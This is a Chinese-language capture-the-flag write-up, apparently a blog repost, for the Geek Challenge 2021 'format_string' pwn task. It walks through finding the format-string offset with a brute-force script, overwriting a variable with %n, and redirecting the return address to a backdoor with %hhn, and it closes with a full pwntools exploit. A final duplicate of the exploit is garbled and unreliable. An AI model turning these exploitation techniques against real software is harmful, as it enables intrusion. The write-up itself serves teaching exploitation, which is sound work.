极客大挑战2021-format_string

之前通过攻防世界String已经初步了解格式化字符串漏洞的利用原理和利用方式。现在通过这道题精进。

题目名:format_string

提取路径:https://pan.baidu.com/s/1e9I59FhilppS9QIhQWND0A

提取码:F1re

代码审计

checksec一下:

3

很简单的一道题噢,就只开了NX不可执行不让你shellcode。

扔进IDA观察一下,发现漏洞所在地:是个三十二位程序的格式化字符串漏洞。

1

程序先泄露了v3的地址,然后有第一个格式化字符串漏洞,如果满足v3=12的话,触发第二个格式化字符串漏洞。

2

一个后门函数。

利用思路

第一步:

1.首先是需要先将v3的值改为12。这可以利用格式化字符%n实现。

构造方式是v3_addr+%()c%()$n。其中两个括号内的内容是我们需要填入的内容。

首先让我们了解一下%c,%c除了输出字符之外,还可以通过%ac来填充输出内容至a个,用空格在原内容左侧填充。例如:

    char a='g';
    printf("%4c",a);

以上代码的输出结果就会是" g",其中g前面有三个空格填充总字符至4个。

因此合理利用%c来填充字符。由于p32(v3_addr)占四个字符,要填充至%n前有12个字符来使v3的值被改为12,所以我们构造payload1=p32(v3_addr)+%8c%()$n即可。现在只需确定格式化字符串偏移。

题目限制一:

​ 1.题目读入format和v1时,都限定了长度。这长度限制对于以往的处理方式很致命。

导致的问题有:

​ ①:不能用aaaa-%x-%x…来泄露格式化字符串偏移,因为这样读入的字符数太多。

​ ②:填充字符时不能用aaaaaaa等长串,需要利用%c。

解决办法:

利用%k%x去泄露不同位置的值。直到找到偏移,我比较笨,不会用gdb看偏移。这里我写了一个爆破脚本:通过输入aaaa-以及找到其偏移来确定格式化字符串偏移。

from pwn import *
i=0
while True:
    i=i+1
    print(i)
    r=process('/mnt/hgfs/ubuntu/format_string')
    r.recvuntil("\n")
    payload1 = 'aaaa-'+'%'+str(i)+'$x'
    r.sendline(payload1)
    r.recvuntil("-")
    message=int(r.recv(8),16)
    if message == 0x61616161:
        break
    else:
        r.close()
        continue

运行结果:

14
[+] Starting local process '/mnt/hgfs/ubuntu/format_string': pid 8748
[*] Stopped process '/mnt/hgfs/ubuntu/format_string' (pid 8748)
15
[+] Starting local process '/mnt/hgfs/ubuntu/format_string': pid 8750
[*] Stopped process '/mnt/hgfs/ubuntu/format_string' (pid 8750)
zb@ubuntu:~/pwn$ 

运行到15停止,我们运行程序验证一下:

4

发现偏移确实是15,那么第一个限制就解决了:

我们构造payload1为:

payload1=p32(v3_addr)+b'%8c%15$n'

第二步:

接下来我们进入了第二个格式化字符串漏洞的利用。这次能输入的长度有20个字符。

首先我们明确一下格式化字符串漏洞能做到什么:

①:任意地址写

②:泄露format参数所在栈里面的内容。

因此我们有如下思路:

①:去修改某个函数的GOT表,让其变成system函数的地址。

②:去改写函数返回地址。

很明显,第二个格式化字符串漏洞利用后程序就会终止,在这之后没有函数可以让我们修改GOT表。

因此我的思路是:

①:要么直接修改函数返回地址为后门地址

②:修改函数返回地址为vuln函数对v3赋值为666这句语句之后的地址,由于我们之前已经改变过v3的值,因此我们不用更改v3都可以再触发第二次格式化字符串漏洞。就这样再来两次格式化字符串漏洞,子子孙孙无穷尽也,直到不断利用格式化字符串漏洞达到我们的目的。

很显然哦,第一种简单的多了,那我们先去找到函数返回地址处于何处。

5

通过IDA栈图,var_c是v3,而r处于v3_addr+16的位置。

去gdb里面调试验证。

6

7

其中0x0804873E确实是call vuln后的返回地址,那我们只用修改这为我们后门函数的地址值就行。

通过相同的脚本爆破

题目限制二:

后门函数要close,怎么办???

解决办法:

当然是直接跳转不close的地址啦

8

直接跳0x8048793就行啦。

我最初构造的payload2:

payload2=p32(v3_addr+16)+b'%134514569'+b'c%7$n'

这样理论上是可行的。但是我发现发送payload2后系统不停向我发送:

sent b'32'*0xfff

系统一直给我发空格。这是由于print(payload2)的时候要输出134514573个空格,这样发送大量字符会导致服务器卡顿甚至崩溃。

因此我们基本上都采用一个字节一个字节去改地址的方法,也就是采用hhn去改四次。

32位格式化字符串漏洞里pwntools有一个函数:

fmtstr_payload

这个工具原理,实现过程我就不说了,大概就是他会自动帮你构造paylaod,只需你提供

1.偏移量。

2.需要改变的地址。

3.改变后的地址。

他就是通过每个字节每个字节来改变的。

但是这道题显然不行,fmtstr_payload返回的payload太长了,不满足题目的长度限制。

后来去观察了一下返回地址和后门地址只有最后一个字节不同。那我们就只用改最后一个字节就行了。

最后由于小段字节序的原因,返回地址的最后一个字节的地址就为v3_addr+16。

因此我们构造的payload2:(143=0x93-4)

payload2=p32(v3_addr+16)+b'%143'+b'c%7$hhn'

最终exp:

from pwn import *
context.log_level = 'debug'
r=process('/mnt/hgfs/ubuntu/format_string')
r.recvuntil("First step:\n")
v3_addr = int(r.recvline()[:-1],16)
print(hex(v3_addr))
payload1=p32(v3_addr)+b'%8c%15$n'
r.sendline(payload1)       
payload2=p32(v3_addr+16)+b'%143'+b'c%7$hhn'
r.recvuntil("nice you enter there\n")
r.sendline(payload2)
r.interactive()

print(hex(v3_addr))
payload1=p32(v3_addr)+b’%8c%15 n ′ r . s e n d l i n e ( p a y l o a d 1 ) p a y l o a d 2 = p 32 ( v 3 a d d r + 16 ) + b ′ n' r.sendline(payload1) payload2=p32(v3_addr+16)+b'%143'+b'c%7 nr.sendline(payload1)payload2=p32(v3addr+16)+bhhn’
r.recvuntil(“nice you enter there\n”)
r.sendline(payload2)
r.interactive()


猜你喜欢

转载自blog.csdn.net/Invin_cible/article/details/121326501